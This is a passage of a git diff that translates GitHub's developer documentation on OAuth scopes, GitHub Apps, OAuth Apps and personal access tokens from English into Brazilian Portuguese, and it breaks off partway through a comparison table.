@@ -88,31 +88,16 @@ can specify multiple scopes by separating them with a space using `%20`:
 
 {% endnote %}
 
-## Requested scopes and granted scopes
+## Escopos solicitados e escopos concedidos
 
-The `scope` attribute lists scopes attached to the token that were granted by
-the user. Normally, these scopes will be identical to what you requested.
-However, users can edit their scopes, effectively
-granting your application less access than you originally requested. Also, users
-can edit token scopes after the OAuth flow is completed.
-You should be aware of this possibility and adjust your application's behavior
-accordingly.
+O atributo `escopo` lista os escopos adicionados ao token que foram concedido pelo usuário. Normalmente, estes escopos são idênticos aos que você solicitou. No entanto, os usuários podem editar seus escopos, concedendo, efetivamente, ao seu aplicativo um acesso menor do que você solicitou originalmente. Além disso, os usuários podem editar o escopo do token depois que o fluxo do OAuth for concluído. Você deve ter em mente esta possibilidade e ajustar o comportamento do seu aplicativo de acordo com isso.
 
-It's important to handle error cases where a user chooses to grant you
-less access than you originally requested. For example, applications can warn
-or otherwise communicate with their users that they will see reduced
-functionality or be unable to perform some actions.
+É importante lidar com casos de erro em que um usuário escolhe conceder menos acesso do que solicitado originalmente. Por exemplo, os aplicativos podem alertar ou informar aos seus usuários que a funcionalidade será reduzida ou não serão capazes de realizar algumas ações.
 
-Also, applications can always send users back through the flow again to get
-additional permission, but don’t forget that users can always say no.
+Além disso, os aplicativos sempre podem enviar os usuários de volta através do fluxo para obter permissão adicional, mas não se esqueça de que os usuários sempre podem dizer não.
 
-Check out the [Basics of Authentication guide](/guides/basics-of-authentication/), which
-provides tips on handling modifiable token scopes.
+Confira o [Príncípios do guia de autenticação](/guides/basics-of-authentication/), que fornece dicas para lidar com escopos de token modificável.
 
-## Normalized scopes
+## Escopos normalizados
 
-When requesting multiple scopes, the token is saved with a normalized list
-of scopes, discarding those that are implicitly included by another requested
-scope. For example, requesting `user,gist,user:email` will result in a
-token with `user` and `gist` scopes only since the access granted with
-`user:email` scope is included in the `user` scope.
+Ao solicitar vários escopos, o token é salvo com uma lista normalizada de escopos, descartando aqueles que estão implicitamente incluídos pelo escopo solicitado. Por exemplo, a solicitação do usuário `user,gist,user:email` irá gerar apenas um token com escopos de `usuário` e `gist`, desde que o acesso concedido com o escopo `user:email` esteja incluído no escopo `usuário`.
diff --git a/translations/pt-BR/content/developers/apps/getting-started-with-apps/about-apps.md b/translations/pt-BR/content/developers/apps/getting-started-with-apps/about-apps.md
index d60e0d8400..a49587b369 100644
--- a/translations/pt-BR/content/developers/apps/getting-started-with-apps/about-apps.md
+++ b/translations/pt-BR/content/developers/apps/getting-started-with-apps/about-apps.md
@@ -1,6 +1,6 @@
 ---
-title: About apps
-intro: 'You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs to add flexibility and reduce friction in your own workflow.{% ifversion fpt or ghec %} You can also share integrations with others on [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace).{% endif %}'
+title: Sobre o aplicativo
+intro: 'Você pode criar integrações com as APIs de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} para adicionar flexibilidade e reduzir o atrito no seu próprio fluxo de trabalho.{% ifversion fpt or ghec %} Você também pode compartilhar integrações com outras pessoas em [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace).{% endif %}'
 redirect_from:
   - /apps/building-integrationssetting-up-a-new-integration
   - /apps/building-integrations
@@ -15,91 +15,92 @@ versions:
 topics:
   - GitHub Apps
 ---
-Apps on {% data variables.product.prodname_dotcom %} allow you to automate and improve your workflow. You can build apps to improve your workflow.{% ifversion fpt or ghec %} You can also share or sell apps in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). To learn how to list an app on {% data variables.product.prodname_marketplace %}, see "[Getting started with GitHub Marketplace](/marketplace/getting-started/)."{% endif %}
 
-{% data reusables.marketplace.github_apps_preferred %}, but GitHub supports both {% data variables.product.prodname_oauth_apps %} and {% data variables.product.prodname_github_apps %}. For information on choosing a type of app, see "[Differences between GitHub Apps and OAuth Apps](/developers/apps/differences-between-github-apps-and-oauth-apps)."
+Os aplicativos no {% data variables.product.prodname_dotcom %} permitem que você automatize e melhore seu fluxo de trabalho. Você pode criar aplicativos para melhorar seu fluxo de trabalho. {% ifversion fpt or ghec %} Você também pode compartilhar ou vender aplicativos em [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). Para aprender como listar um aplicativo no {% data variables.product.prodname_marketplace %}, consulte "[Introdução ao GitHub Marketplace](/marketplace/getting-started/)".{% endif %}
+
+{% data reusables.marketplace.github_apps_preferred %}, mas o GitHub é compatível com {% data variables.product.prodname_oauth_apps %} e {% data variables.product.prodname_github_apps %}. Para obter informações sobre a escolha de um tipo de aplicativo, consulte "[Diferenças entre os aplicativos GitHub e os aplicativos OAuth](/developers/apps/differences-between-github-apps-and-oauth-apps)".
 
 {% data reusables.apps.general-apps-restrictions %}
 
-For a walkthrough of the process of building a {% data variables.product.prodname_github_app %}, see "[Building Your First {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)."
+Para uma apresentação do processo de construção de um {% data variables.product.prodname_github_app %}, consulte "[Criando o seu primeiro {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)".
 
-## About {% data variables.product.prodname_github_apps %}
+## Sobre o {% data variables.product.prodname_github_apps %}
 
-{% data variables.product.prodname_github_apps %} are first-class actors within GitHub. A {% data variables.product.prodname_github_app %} acts on its own behalf, taking actions via the API directly using its own identity, which means you don't need to maintain a bot or service account as a separate user.
+{% data variables.product.prodname_github_apps %} são atores de primeira classe no GitHub. Um {% data variables.product.prodname_github_app %} age em seu próprio nome, tomando ações por meio da API diretamente usando sua própria identidade, o que significa que você não precisa manter um bot ou conta de serviço como um usuário separado.
 
-{% data variables.product.prodname_github_apps %} can be installed directly on organizations and user accounts and granted access to specific repositories. They come with built-in webhooks and narrow, specific permissions. When you set up your {% data variables.product.prodname_github_app %}, you can select the repositories you want it to access. For example, you can set up an app called `MyGitHub` that writes issues in the `octocat` repository and _only_ the `octocat` repository. To install a {% data variables.product.prodname_github_app %}, you must be an organization owner or have admin permissions in a repository.
+O {% data variables.product.prodname_github_apps %} pode ser instalado diretamente em organizações e contas de usuários e conceder acesso a repositórios específicos. Eles vêm com webhooks integrados e permissões específicas e restritas. Ao configurar o {% data variables.product.prodname_github_app %}, você pode selecionar os repositórios que deseja que ele acesse. Por exemplo, você pode configurar um aplicativo denominado `MyGitHub` que escreve problemas no repositório `octocat` e _apenas_ no repositório `octocat`. Para instalar um {% data variables.product.prodname_github_app %}, você deve ser o proprietário de uma organização ou ter permissões de administrador em um repositório.
 
 {% data reusables.apps.app_manager_role %}
 
-{% data variables.product.prodname_github_apps %} are applications that need to be hosted somewhere. For step-by-step instructions that cover servers and hosting, see "[Building Your First {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)."
+{% data variables.product.prodname_github_apps %} são aplicativos que devem ser hospedados em algum lugar. Para obter as instruções do passo a passo que cobrem os servidores e hospedagem, consulte "[Construindo seu primeiro {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)".
 
-To improve your workflow, you can create a {% data variables.product.prodname_github_app %} that contains multiple scripts or an entire application, and then connect that app to many other tools. For example, you can connect {% data variables.product.prodname_github_apps %} to GitHub, Slack, other in-house apps you may have, email programs, or other APIs.
+Para melhorar seu fluxo de trabalho, você pode criar um {% data variables.product.prodname_github_app %} que contém vários scripts ou um aplicativo inteiro e, em seguida, conectar esse aplicativo a muitas outras ferramentas. Por exemplo, você pode conectar {% data variables.product.prodname_github_apps %} ao GitHub, Slack, ou a outros aplicativos que você pode ter, programas de e-mail ou outras APIs.
 
-Keep these ideas in mind when creating {% data variables.product.prodname_github_apps %}:
+Tenha isso em mente ao criar {% data variables.product.prodname_github_apps %}:
 
 {% ifversion fpt or ghec %}
 * {% data reusables.apps.maximum-github-apps-allowed %} {% endif %}
-* A {% data variables.product.prodname_github_app %} should take actions independent of a user (unless the app is using a [user-to-server](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). {% data reusables.apps.expiring_user_authorization_tokens %}
+* Um {% data variables.product.prodname_github_app %} deve tomar ações independentes do usuário (a menos que o aplicativo esteja usando um token [user-to-server](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). {% data reusables.apps.expiring_user_authorization_tokens %}
 
-* Make sure the {% data variables.product.prodname_github_app %} integrates with specific repositories.
-* The {% data variables.product.prodname_github_app %} should connect to a personal account or an organization.
-* Don't expect the {% data variables.product.prodname_github_app %} to know and do everything a user can.
-* Don't use a {% data variables.product.prodname_github_app %} if you just need a "Login with GitHub" service. But a {% data variables.product.prodname_github_app %} can use a [user identification flow](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/) to log users in _and_ do other things.
-* Don't build a {% data variables.product.prodname_github_app %} if you _only_ want to act as a GitHub user and do everything that user can do.{% ifversion fpt or ghec %}
+* Certifique-se de que o {% data variables.product.prodname_github_app %} integre repositórios específicos.
+* O {% data variables.product.prodname_github_app %} deve conectar-se a uma conta pessoal ou organização.
+* Não espere que o {% data variables.product.prodname_github_app %} saiba e faça tudo o que um usuário pode fazer.
+* Não use {% data variables.product.prodname_github_app %}, se você precisa apenas de um serviço de "Login com GitHub". No entanto, um {% data variables.product.prodname_github_app %} pode usar um [fluxo de identificação de usuário](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/) para iniciar sessão de usuários em _e_ fazer outras coisas.
+* Não crie um {% data variables.product.prodname_github_app %} se você _apenas_ desejar atuar como um usuário do GitHub e fazer tudo o que o usuário pode fazer.{% ifversion fpt or ghec %}
 * {% data reusables.apps.general-apps-restrictions %}{% endif %}
 
-To begin developing {% data variables.product.prodname_github_apps %}, start with "[Creating a {% data variables.product.prodname_github_app %}](/apps/building-github-apps/creating-a-github-app/)."{% ifversion fpt or ghec %} To learn how to use {% data variables.product.prodname_github_app %} Manifests, which allow people to create preconfigured {% data variables.product.prodname_github_apps %}, see "[Creating {% data variables.product.prodname_github_apps %} from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)."{% endif %}
+Para começar a desenvolver {% data variables.product.prodname_github_apps %}, comece com "[Criando um {% data variables.product.prodname_github_app %}](/apps/building-github-apps/creating-a-github-app/).{% ifversion fpt or ghec %} Para aprender a usar manifestos de {% data variables.product.prodname_github_app %}, que permitem que pessoas criem {% data variables.product.prodname_github_apps %} pré-configurados, consulte "[Criando {% data variables.product.prodname_github_apps %} a partir de um manifesto](/apps/building-github-apps/creating-github-apps-from-a-manifest/).{% endif %}
 
-## About {% data variables.product.prodname_oauth_apps %}
+## Sobre {% data variables.product.prodname_oauth_apps %}
 
-OAuth2 is a protocol that lets external applications request authorization to private details in a user's {% data variables.product.prodname_dotcom %} account without accessing their password. This is preferred over Basic Authentication because tokens can be limited to specific types of data and can be revoked by users at any time.
+OAuth2 é um protocolo que permite que os aplicativos externos solicitem autorização para detalhes privados na conta {% data variables.product.prodname_dotcom %} de um usuário sem acessar sua senha. Isto é preferido em relação à autenticação básica, porque os tokens podem ser limitados a tipos específicos de dados e podem ser revogados pelos usuários a qualquer momento.
 
 {% data reusables.apps.deletes_ssh_keys %}
 
-An {% data variables.product.prodname_oauth_app %} uses {% data variables.product.prodname_dotcom %} as an identity provider to authenticate as the user who grants access to the app. This means when a user grants an {% data variables.product.prodname_oauth_app %} access, they grant permissions to _all_ repositories they have access to in their account, and also to any organizations they belong to that haven't blocked third-party access.
+Um {% data variables.product.prodname_oauth_app %} usa {% data variables.product.prodname_dotcom %} como um provedor de identidade para efetuar a autenticação como o usuário que concede acesso ao aplicativo. Isso significa que, quando um usuário concede acesso {% data variables.product.prodname_oauth_app %}, ele concedem permissões a _todos_ os repositórios aos quais tem acesso em sua conta, e também a qualquer organização a que pertence que não bloqueou o acesso de terceiros.
 
-Building an {% data variables.product.prodname_oauth_app %} is a good option if you are creating more complex processes than a simple script can handle. Note that {% data variables.product.prodname_oauth_apps %} are applications that need to be hosted somewhere.
+Construir um {% data variables.product.prodname_oauth_app %} é uma boa opção se você estiver criando processos mais complexos do que um simples script pode gerenciar. Note que {% data variables.product.prodname_oauth_apps %} são aplicativos que precisam ser hospedados em algum lugar.
 
-Keep these ideas in mind when creating {% data variables.product.prodname_oauth_apps %}:
+Tenha isso em mente ao criar {% data variables.product.prodname_oauth_apps %}:
 
 {% ifversion fpt or ghec %}
 * {% data reusables.apps.maximum-oauth-apps-allowed %} {% endif %}
-* An {% data variables.product.prodname_oauth_app %} should always act as the authenticated {% data variables.product.prodname_dotcom %} user across all of {% data variables.product.prodname_dotcom %} (for example, when providing user notifications).
-* An {% data variables.product.prodname_oauth_app %} can be used as an identity provider by enabling a "Login with {% data variables.product.prodname_dotcom %}" for the authenticated user.
-* Don't build an {% data variables.product.prodname_oauth_app %} if you want your application to act on a single repository. With the `repo` OAuth scope, {% data variables.product.prodname_oauth_apps %} can act on _all_ of the authenticated user's repositories.
-* Don't build an {% data variables.product.prodname_oauth_app %} to act as an application for your team or company. {% data variables.product.prodname_oauth_apps %} authenticate as a single user, so if one person creates an {% data variables.product.prodname_oauth_app %} for a company to use, and then they leave the company, no one else will have access to it.{% ifversion fpt or ghec %}
+* Um {% data variables.product.prodname_oauth_app %} deve sempre atuar como o usuário autenticado {% data variables.product.prodname_dotcom %} em todo o {% data variables.product.prodname_dotcom %} (por exemplo, ao fornecer notificações de usuário).
+* Um {% data variables.product.prodname_oauth_app %} pode ser usado como um provedor de identidade, habilitando um "Login com {% data variables.product.prodname_dotcom %}" para o usuário autenticado.
+* Não crie um {% data variables.product.prodname_oauth_app %}, se desejar que seu aplicativo atue em um único repositório. Com o escopo de `repo` do OAuth, {% data variables.product.prodname_oauth_apps %} pode atuar em _todos_ os repositórios de usuários autenticados.
+* Não crie um {% data variables.product.prodname_oauth_app %} para atuar como um aplicativo para sua equipe ou empresa. {% data variables.product.prodname_oauth_apps %} efetua a autenticação como um usuário único. Portanto se uma pessoa criar um {% data variables.product.prodname_oauth_app %} para uma empresa usar e, posteriormente, sair da empresa, ninguém mais terá acesso.{% ifversion fpt or ghec %}
 * {% data reusables.apps.oauth-apps-restrictions %}{% endif %}
 
-For more on {% data variables.product.prodname_oauth_apps %}, see "[Creating an {% data variables.product.prodname_oauth_app %}](/apps/building-oauth-apps/creating-an-oauth-app/)" and "[Registering your app](/rest/guides/basics-of-authentication#registering-your-app)."
+Para obter mais informações sobre {% data variables.product.prodname_oauth_apps %}, consulte "[Criando um {% data variables.product.prodname_oauth_app %}](/apps/building-oauth-apps/creating-an-oauth-app/)" e "[Registrando seu aplicativo](/rest/guides/basics-of-authentication#registering-your-app)".
 
-## Personal access tokens
+## Tokens de acesso pessoal
 
-A [personal access token](/articles/creating-a-personal-access-token-for-the-command-line/) is a string of characters that functions similarly to an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/) in that you can specify its permissions via [scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). A personal access token is also similar to a password, but you can have many of them and you can revoke access to each one at any time.
+Um [token de acesso pessoal](/articles/creating-a-personal-access-token-for-the-command-line/) é uma string de caracteres que funciona da mesma forma que um [token do OAuth](/apps/building-oauth-apps/authorizing-oauth-apps/), cujas permissões você pode especificar por meio de [escopos](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). Um token de acesso pessoal também é semelhante a uma senha, mas você pode ter muitos delas e você pode revogar o acesso a cada uma a qualquer momento.
 
-As an example, you can enable a personal access token to write to your repositories. If then you run a cURL command or write a script that [creates an issue](/rest/reference/issues#create-an-issue) in your repository, you would pass the personal access token to authenticate. You can store the personal access token as an environment variable to avoid typing it every time you use it.
+Como exemplo, você pode habilitar um token de acesso pessoal para escrever em seus repositórios. Em seguida, se você executar um comando cURL ou escrever um script que [cria um problema](/rest/reference/issues#create-an-issue) no seu repositório, você informaria o token de acesso pessoal para efetuar a autenticação. Você pode armazenar o token de acesso pessoal como uma variável de ambiente para evitar ter de digitá-lo toda vez que você usá-lo.
 
-Keep these ideas in mind when using personal access tokens:
+Tenha em mente essas ideias ao usar os tokens de acesso pessoais:
 
-* Remember to use this token to represent yourself only.
-* You can perform one-off cURL requests.
-* You can run personal scripts.
-* Don't set up a script for your whole team or company to use.
-* Don't set up a shared user account to act as a bot user.{% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %}
-* Do set an expiration for your personal access tokens, to help keep your information secure.{% endif %}
+* Lembre-se de usar este token para representar apenas você.
+* Você pode realizar solicitações de cURL únicas.
+* Você pode executar scripts pessoais.
+* Não configure um script para toda a sua equipe ou empresa usá-lo.
+* Não configure uma conta de usuário compartilhada para agir atuar um usuário bot.{% ifversion fpt or ghes > 3.2 or ghae-issue-4374 or ghec %}
+* Defina um vencimento para os seus tokens de acesso pessoais para ajudar a manter suas informações seguras.{% endif %}
 
-## Determining which integration to build
+## Determinar qual integração criar
 
-Before you get started creating integrations, you need to determine the best way to access, authenticate, and interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs. The following image offers some questions to ask yourself when deciding whether to use personal access tokens, {% data variables.product.prodname_github_apps %}, or {% data variables.product.prodname_oauth_apps %} for your integration.
+Antes de começar a criar integrações, você deverá determinar a melhor maneira de acessar autenticar e interagir com as APIs de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}. A imagem a seguir oferece algumas perguntas de segurança ao decidir se usa tokens de acesso pessoais, {% data variables.product.prodname_github_apps %}ou {% data variables.product.prodname_oauth_apps %} para sua integração.
 
-![Intro to apps question flow](/assets/images/intro-to-apps-flow.png)
+![Introdução ao fluxo de perguntas dos aplicativos](/assets/images/intro-to-apps-flow.png)
 
-Consider these questions about how your integration needs to behave and what it needs to access:
+Considere estas perguntas sobre como sua integração deve se comportar e o que é necessário para ter acesso:
 
-* Will my integration act only as me, or will it act more like an application?
-* Do I want it to act independently of me as its own entity?
-* Will it access everything that I can access, or do I want to limit its access?
-* Is it simple or complex? For example, personal access tokens are good for simple scripts and cURLs, whereas an {% data variables.product.prodname_oauth_app %} can handle more complex scripting.
+* A minha integração funcionará apenas como eu ou será mais como um aplicativo?
+* Quero que ela aja independentemente de mim com sua própria entidade?
+* Ela irá acessar tudo o que eu puder acessar ou eu quero limitar seu acesso?
+* É simples ou complexo? Por exemplo, tokens de acesso pessoal são bons para scripts simples e cURLs, enquanto um {% data variables.product.prodname_oauth_app %} pode lidar com scripts mais complexos.
 
-## Requesting support
+## Solicitar suporte
 
 {% data reusables.support.help_resources %}
diff --git a/translations/pt-BR/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md b/translations/pt-BR/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md
index 6e2ffa00ba..adeccef92d 100644
--- a/translations/pt-BR/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md
+++ b/translations/pt-BR/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md
@@ -1,6 +1,6 @@
 ---
-title: Differences between GitHub Apps and OAuth Apps
-intro: 'Understanding the differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} will help you decide which app you want to create. An {% data variables.product.prodname_oauth_app %} acts as a GitHub user, whereas a {% data variables.product.prodname_github_app %} uses its own identity when installed on an organization or on repositories within an organization.'
+title: Diferenças entre os aplicativos GitHub e OAuth
+intro: 'Entender as diferenças entre {% data variables.product.prodname_github_apps %} e {% data variables.product.prodname_oauth_apps %} ajudará você a decidir qual aplicativo você deseja criar. O {% data variables.product.prodname_oauth_app %} atua como usuário do GitHub, enquanto o {% data variables.product.prodname_github_app %} usa sua própria identidade quando instalado em uma organização ou em repositórios de uma organização.'
 redirect_from:
   - /early-access/integrations/integrations-vs-oauth-applications
   - /apps/building-integrations/setting-up-a-new-integration/about-choosing-an-integration-type
@@ -14,99 +14,100 @@ versions:
 topics:
   - GitHub Apps
   - OAuth Apps
-shortTitle: GitHub Apps & OAuth Apps
+shortTitle: Aplicativos GitHub & Aplicativos OAuth
 ---
-## Who can install GitHub Apps and authorize OAuth Apps?
 
-You can install GitHub Apps in your personal account or organizations you own. If you have admin permissions in a repository, you can install GitHub Apps on organization accounts. If a GitHub App is installed in a repository and requires organization permissions, the organization owner must approve the application.
+## Quem pode instalar aplicativos GitHub e autorizar aplicativos OAuth?
+
+Você pode instalar os aplicativos GitHub em sua conta pessoal ou em organizações das quais você é proprietário. Se você tiver permissões de administrador em um repositório, você poderá instalar os aplicativos GitHub em contas de organização. Se um aplicativo GitHub for instalado em um repositório e exigir permissões de organização, o proprietário da organização deverá aprovar o aplicativo.
 
 {% data reusables.apps.app_manager_role %}
 
-By contrast, users _authorize_ OAuth Apps, which gives the app the ability to act as the authenticated user. For example, you can authorize an OAuth App that finds all notifications for the authenticated user. You can always revoke permissions from an OAuth App.
+Por outro lado, os usuários _autorizam_ aplicativos OAuth, que dão ao aplicativo a capacidade de atuar como usuário autenticado. Por exemplo, você pode autorizar um aplicativo OAuth que encontra todas as notificações para o usuário autenticado. Você sempre pode revogar as permissões de um aplicativo OAuth.
 
 {% data reusables.apps.deletes_ssh_keys %}
 
-| GitHub Apps | OAuth Apps |
-| ----- | ------ |
-| You must be an organization owner or have admin permissions in a repository to install a GitHub App on an organization. If a GitHub App is installed in a repository and requires organization permissions, the organization owner must approve the application. | You can authorize an OAuth app to have access to resources. |
-| You can install a GitHub App on your personal repository. | You can authorize an OAuth app to have access to resources.|
-| You must be an organization owner, personal repository owner, or have admin permissions in a repository to uninstall a GitHub App and remove its access. | You can delete an OAuth access token to remove access. |
-| You must be an organization owner or have admin permissions in a repository to request a GitHub App installation. | If an organization application policy is active, any organization member can request to install an OAuth App on an organization. An organization owner must approve or deny the request. |
+| Aplicativos do GitHub                                                                                                                                                                                                                                                                                               | Aplicativos OAuth                                                                                                                                                                                                                            |
+| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Você deve ser proprietário de uma organização ou ter permissões de administrador em um repositório para instalar um aplicativo do GitHub em uma organização. Se um aplicativo GitHub for instalado em um repositório e exigir permissões de organização, o proprietário da organização deverá aprovar o aplicativo. | Você pode autorizar um aplicativo OAuth para ter acesso a recursos.                                                                                                                                                                          |
+| Você pode instalar um aplicativo GitHub no seu repositório pessoal.                                                                                                                                                                                                                                                 | Você pode autorizar um aplicativo OAuth para ter acesso a recursos.                                                                                                                                                                          |
+| Você deve ser um proprietário da organização, proprietário pessoal do repositório ou ter permissões de administrador em um repositório para desinstalar um aplicativo GitHub e remover seu acesso.                                                                                                                  | Você pode excluir um token de acesso do OAuth para remover o acesso.                                                                                                                                                                         |
+| Você deve ser um proprietário de uma organização ou ter permissões de administrador em um repositório para solicitar a instalação de um aplicativo GitHub.                                                                                                                                                          | Se uma política de aplicativos da organização estiver ativa, qualquer integrante da organização poderá solicitar a instalação de um aplicativo OAuth em uma organização. Um proprietário da organização deve aprovar ou negar a solicitação. |
 
-## What can GitHub Apps and OAuth Apps access?
+## O que o aplicativo GitHub e o aplicativo OAuth podem acessar?
 
-Account owners can use a {% data variables.product.prodname_github_app %} in one account without granting access to another. For example, you can install a third-party build service on your employer's organization, but decide not to grant that build service access to repositories in your personal account. A GitHub App remains installed if the person who set it up leaves the organization.
+Os proprietários de contas podem usar um {% data variables.product.prodname_github_app %} em uma conta sem conceder acesso a outra. Por exemplo, você pode instalar um serviço de criação de terceiros na organização do seu empregador, mas decidir não conceder esse acesso de serviço de criação aos repositórios na sua conta pessoal. Um aplicativo GitHub permanece instalado se a pessoa que o configura sair da organização.
 
-An _authorized_ OAuth App has access to all of the user's or organization owner's accessible resources.
+Um aplicativo OAuth _authorized_ tem acesso a todos os recursos acessíveis do usuário ou do proprietário da organização.
 
-| GitHub Apps | OAuth Apps |
-| ----- | ------ |
-| Installing a GitHub App grants the app access to a user or organization account's chosen repositories. | Authorizing an OAuth App grants the app access to the user's accessible resources. For example, repositories they can access. |
-| The installation token from a GitHub App loses access to resources if an admin removes repositories from the installation. | An OAuth access token loses access to resources when the user loses access, such as when they lose write access to a repository. |
-| Installation access tokens are limited to specified repositories with the permissions chosen by the creator of the app. | An OAuth access token is limited via scopes. |
-| GitHub Apps can request separate access to issues and pull requests without accessing the actual contents of the repository. | OAuth Apps need to request the `repo` scope to get access to issues, pull requests, or anything owned by the repository. |
-| GitHub Apps aren't subject to organization application policies. A GitHub App only has access to the repositories an organization owner has granted. | If an organization application policy is active, only an organization owner can authorize the installation of an OAuth App. If installed, the OAuth App gains access to anything visible to the token the organization owner has within the approved organization. |
-| A GitHub App receives a webhook event when an installation is changed or removed. This tells the app creator when they've received more or less access to an organization's resources. | OAuth Apps can lose access to an organization or repository at any time based on the granting user's changing access. The OAuth App will not inform you when it loses access to a resource. |
+| Aplicativos do GitHub                                                                                                                                                                                       | Aplicativos OAuth                                                                                                                                                                                                                                                                                                     |
+| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| A instalação de um aplicativo GitHub concede o acesso do aplicativo aos repositórios escolhidos por um usuário ou conta de organização.                                                                     | Autorizar um aplicativo OAuth concede acesso aos recursos acessíveis do usuário. Por exemplo, repositórios que podem acessar.                                                                                                                                                                                         |
+| O token de instalação de um aplicativo GitHub perde acesso aos recursos se um administrador remover repositórios da instalação.                                                                             | Um token de acesso do OAuth perde acesso aos recursos quando o usuário perde acesso, como quando perdem acesso de gravação em um repositório.                                                                                                                                                                         |
+| Os tokens de acesso de instalação são limitados a repositórios especificados com as permissões escolhidas pelo criador do aplicativo.                                                                       | Um token de acesso do OAuth é limitado por meio de escopos.                                                                                                                                                                                                                                                           |
+| Os aplicativos GitHub podem solicitar acesso separado para problemas e pull requests sem acessar o conteúdo real do repositório.                                                                            | Os aplicativos OAuth precisam solicitar o escopo do `repositório` para obter acesso a problemas, pull requests ou qualquer coisa que seja propriedade do repositório.                                                                                                                                                 |
+| Os aplicativos GitHub não estão sujeitos às políticas do aplicativo da organização. Um aplicativo GitHub só tem acesso aos repositórios que o proprietário de uma organização concedeu.                     | Se uma política de aplicativos da organização estiver ativa, somente um proprietário da organização poderá autorizar a instalação de um aplicativo OAuth. Se instalado, o aplicativo OAuth ganhará acesso a qualquer coisa visível para o token que o proprietário da organização tem dentro da organização aprovada. |
+| Um aplicativo GitHub recebe um evento do webhook quando uma instalação é alterada ou removida. Isto informa ao criador do aplicativo quando receberam mais ou menos acesso aos recursos de uma organização. | Os aplicativos OAuth podem perder acesso a uma organização ou repositório a qualquer momento com na alteração de acesso do usuário concedido. O aplicativo OAuth não irá informá-lo quando perde acesso a um recurso.                                                                                                 |
 
-## Token-based identification
+## Identificação baseada em token
 
 {% note %}
 
-**Note:** GitHub Apps can also use a user-based token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+**Observação:** Os aplicativos GitHub também podem usar token baseado em usuários. Para obter mais informações, consulte "[Identificar e autorizar usuários para aplicativos GitHub](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)".
 
 {% endnote %}
 
-| GitHub Apps | OAuth Apps |
-| ----- | ----------- |
-| A GitHub App can request an installation access token by using a private key with a JSON web token format out-of-band. | An OAuth app can exchange a request token for an access token after a redirect via a web request. |
-| An installation token identifies the app as the GitHub Apps bot, such as @jenkins-bot. | An access token identifies the app as the user who granted the token to the app, such as @octocat. |
-| Installation tokens expire after a predefined amount of time (currently 1 hour). | OAuth tokens remain active until they're revoked by the customer. |
-| {% data reusables.apps.api-rate-limits-non-ghec %}{% ifversion fpt or ghec %} Higher rate limits apply for {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Rate limits for GitHub Apps](/developers/apps/rate-limits-for-github-apps)."{% endif %} | OAuth tokens use the user's rate limit of 5,000 requests per hour. |
-| Rate limit increases can be granted both at the GitHub Apps level (affecting all installations) and at the individual installation level. | Rate limit increases are granted per OAuth App. Every token granted to that OAuth App gets the increased limit. |
-| {% data variables.product.prodname_github_apps %} can authenticate on behalf of the user, which is called user-to-server requests. The flow to authorize is the same as the OAuth App authorization flow. User-to-server tokens can expire and be renewed with a refresh token. For more information, see "[Refreshing user-to-server access tokens](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)" and "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)." | The OAuth flow used by {% data variables.product.prodname_oauth_apps %} authorizes an {% data variables.product.prodname_oauth_app %} on behalf of the user. This is the same flow used in {% data variables.product.prodname_github_app %} user-to-server authorization. |
+| Aplicativos do GitHub                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Aplicativos OAuth                                                                                                                                                                                                                                                                          |
+| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| Um aplicativo GitHub pode solicitar um token de acesso de instalação usando uma chave privada com um formato de token do JSON fora da banda.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Um aplicativo OAuth pode trocar um token de solicitação por um token de acesso após um redirecionamento por meio de uma solicitação da web.                                                                                                                                                |
